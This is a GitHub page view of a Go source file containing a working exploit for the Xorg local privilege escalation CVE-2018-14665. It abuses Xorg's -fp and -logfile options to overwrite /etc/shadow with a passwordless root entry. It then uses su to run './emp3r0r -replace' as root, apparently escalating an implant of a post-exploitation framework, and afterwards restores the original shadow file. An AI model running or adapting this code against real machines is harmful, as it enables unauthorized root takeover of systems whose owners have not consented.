-
Notifications
You must be signed in to change notification settings - Fork 8
/
CVE-2018-14665.go
77 lines (67 loc) · 1.49 KB
/
CVE-2018-14665.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
package golpe
import (
"context"
"errors"
"fmt"
"log"
"os"
"os/exec"
"strings"
"time"
"github.com/creack/pty"
)
// CVE_2018_14665 get root via xorg lpe CVE-2018-14655
func CVE_2018_14665() (err error) {
var out []byte
pwd, err := os.Getwd()
if err != nil {
return
}
ctx, cancel := context.WithCancel(context.Background())
defer func() {
cancel()
e := os.Chdir(pwd)
if e != nil {
log.Printf("failed to cd back to %s\n%v", pwd, e)
}
}()
if os.Chdir("/etc") != nil {
return errors.New("Cannot cd to /etc")
}
exp := exec.Command("Xorg", "-fp", "root::16431:0:99999:7:::", "-logfile", "shadow", ":1")
go func() {
if ctx.Err() != nil {
return
}
out, err = exp.CombinedOutput()
if err != nil &&
!strings.Contains(err.Error(), "signal: killed") {
log.Printf("start xorg: %s\n%v", out, err)
cancel()
}
}()
time.Sleep(5 * time.Second)
if ctx.Err() != nil {
return fmt.Errorf("failed to run Xorg: %s\n%v", out, err)
}
if proc := exp.Process; proc != nil {
err = exp.Process.Kill()
if err != nil {
return fmt.Errorf("failed to kill Xorg: %s\n%v", out, err)
}
}
log.Println("GetRootXorg shadow is successfully overwritten")
su := exec.Command("su", "-c", "./emp3r0r -replace")
_, err = pty.Start(su)
if err != nil {
log.Println("Xorg start su in PTY: ", err)
return
}
err = os.Rename("/etc/shadow.old", "/etc/shadow")
if err != nil {
log.Println("Restoring shadow: ", err)
return
}
log.Println("GetRootXorg exited without error")
return
}